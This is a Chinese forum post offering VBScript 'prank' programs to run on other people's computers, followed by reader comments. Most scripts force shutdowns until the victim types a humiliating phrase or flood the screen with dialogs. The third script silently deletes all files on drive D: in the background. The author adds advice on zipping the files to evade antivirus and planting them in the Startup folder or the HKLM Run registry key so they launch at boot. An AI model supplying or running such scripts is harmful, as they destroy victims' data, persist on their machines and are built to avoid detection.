找回密码
 马上注册

QQ登录

只需一步^,快速开始

搜索

[ 电脑 ] 我的vbs整人程序

2014-4-22 21:18| 发布者: 雄龙 | 查看: 68777

第一个:

源代码^^,建立一个txt(桌面--右击--新建--文本文档),后缀改为vbs:

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""说我是猪,不说我是猪就一分钟关你机^,不信^,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机*,快撒^,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true

“我是猪”可以替换成其他的字符,如“我爱你”之类的

cmd.exe /c shutdown -s -t 60 -c

此处代码可以调节关机时间(默认是60秒)

想解除,用这个,后缀改为bat:

taskkill /im wscript.exe /f /t

shutdown -a

第二个(后缀改为vbs):

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉*^!")
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗*?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉^*,等你这么久,心都凉啦*。")
WScript.Echo("小强很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我^^^?")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下*,快点点哦")
WScript.Echo("还剩48下*,快点^^,小笨蛋*!")
WScript.Echo("还剩47下对^,就这样快点点^!")
WScript.Echo("还剩46下。你啊就是笨^*,要快哦^^,我先不打扰你工作**^。")
WScript.Echo("还剩45下*,记得要快哦*^*!")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停^*。*?!慢点*,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴")
WScript.Echo("还剩11下*^,以后就看不到我拉。555555")
WScript.Echo("还剩10下,你现在可以选择停止**^!")
WScript.Echo("还剩9下**。你还点啊^,不要我拉^*?")
WScript.Echo("还剩8下,有点伤心拉*,干嘛丢弃人家")
WScript.Echo("还剩7下。疯了,你有点负意^!")
WScript.Echo("还剩6下^。对。你就点吧^**,我恨你^^^!")
WScript.Echo("还剩5下^**,不明白,删除我你就好吗*?")
WScript.Echo("还剩4下!真要删除我?")
WScript.Echo("还剩3下^??墒俏艺娴暮芫炝的?^^。。*。")
WScript.Echo("还剩2下。不要这么绝情嘛*,人家是爱你的^!")
WScript.Echo("还剩1下^。哼,既然你这么绝情*。也别怪我无义。*!")
WScript.Echo("我本因该消失的^*,不过我留恋你滴芳容*,上帝又给了一次机会^**。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")

由于这个无法截图,大家自己试吧^!

同样解除wscript.exe进程

第三个:

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

删除D:\所有文件(后台进行)

第四个:

set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负***,快输""我是猪"" ","输不输","不输")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe
http://www.slanya.com/137841986/infocenter"
msgbox"哎呀累了!数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了,这次就饶过你吧^^^,下次注意哦!",4096+64
msgbox"最后问个问题,我是不是大好人*^*^!",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub

ws.run"iexplore.exe http://www.slanya.com/137841986/infocenter"
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去 点到你设定的数字
for i=1 to 100
从1到100
可以改成 20 其他的数字

我就收集这些,还想要的话点下面

整人代码大全集.rar

由于前几天发布的文章http://www.slanya.com/article-4386-1.html^,发完之后才发现有一段忘发了^*,在这里我补充一下。
我是新手*,前几天的文章里的代码全是是我收集的^。
大家有很多时候都会发现,双击整人程序后有很多杀毒软件会“自以为是”的报毒。
所以我建议打个压缩包:

省着让“病毒”进《病毒隔离所》^*。
你如果对对方恨之入骨*^,那么你可以把文件放入(C:\Documents and Settings\用户名\「开始」菜单\程序\启动)里面*,让它开机就启动。
或者将文件放入( HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN )项里(启动项)
已有19人参与

会员评论

  • 引用 呵书呆 2017-4-7 21:05
    weigeaa: 能搞成exe吗*?
    能,用VBsEdit^。
  • 引用 呵书呆 2017-4-7 21:04
    2621599260: 代码太复杂了还不如易语言源码呢。
    易语言不如C
  • 引用 weaket 2017-1-6 00:31
    哈哈哈*,愚人节玩玩*。
  • 引用 1101304306 2015-12-18 02:19
    收藏了有时间再用
  • 引用 susftp 2015-2-22 18:07
    就说第一个关机代码吧*,写的有一些不足之处,其次还有一个问题^^^,在WIN7下只会谈出一个小框说系统会在一分钟之内关闭*,根本没有计时效果^*,没啥威力,说不定还被直接忽略*^,所以要多考虑考虑^。^*。^。^^**^。。*。^*。*^*^。^。。
  • 引用 小学桑 2014-10-24 20:15
    后缀是什么^?怎么改*?
  • 引用 雄龙 2014-7-25 00:17
    回复 weigeaa: 可以,用exescript就行
  • 引用 鞠传翔 2014-5-3 09:32
    按住Enter秒过~
  • 引用 兜兜里咪有糖糖 2014-4-29 19:43
    QQ是什么^*,我看不懂啊
  • 引用 贫民百姓 2014-4-26 09:03
    我做了被暴k
  • 引用 215746716 2014-4-25 21:24
    呵呵,有点过时了*,vbs
  • 引用 t0105101 2014-4-25 18:07
    玩系统的伤不起啊..........我还是继续耍单片机算了
  • 引用 renliuxin 2014-4-24 08:02
    关注一下
  • 引用 zjk995063909 2014-4-23 22:16
    这种东西玩过很多了^。*。^?;八的歉龈馜盘的过分了点啊^。^。要是D盘有重要东西呢^^*。^*。
  • 引用 51区 2014-4-23 20:08
    这不是论坛电脑科技上大吗
  • 引用 weigeaa 2014-4-23 20:06
    能搞成exe吗?
  • 引用 叛逆杰 2014-4-23 19:31
    开机自动开启?
  • 引用 lxd 2014-4-23 12:14
    抄的
  • 引用 2621599260 2014-4-23 12:01
    代码太复杂了还不如易语言源码呢*。

查看全部评论>>

推荐阅读

QQ|极客迷 ( 鄂ICP备09011854号

粤公安网 备44030602000010号

© 2009-2016 All Rights Reserved

GMT+8, 2017-12-26 02:56 , Processed in 0.346132 second(s), 35 queries , Gzip On, Memcache On.

电视剧大全 | 东方美食 | av小次郎收藏家 | 济宁新闻网 | 我爱漫画网 | 军婚小说 | 中国收藏热线 | 东方卫视直播5频道 | 有声听书吧 | 医学教育网 | 乐山新闻网 | 四川新闻网 |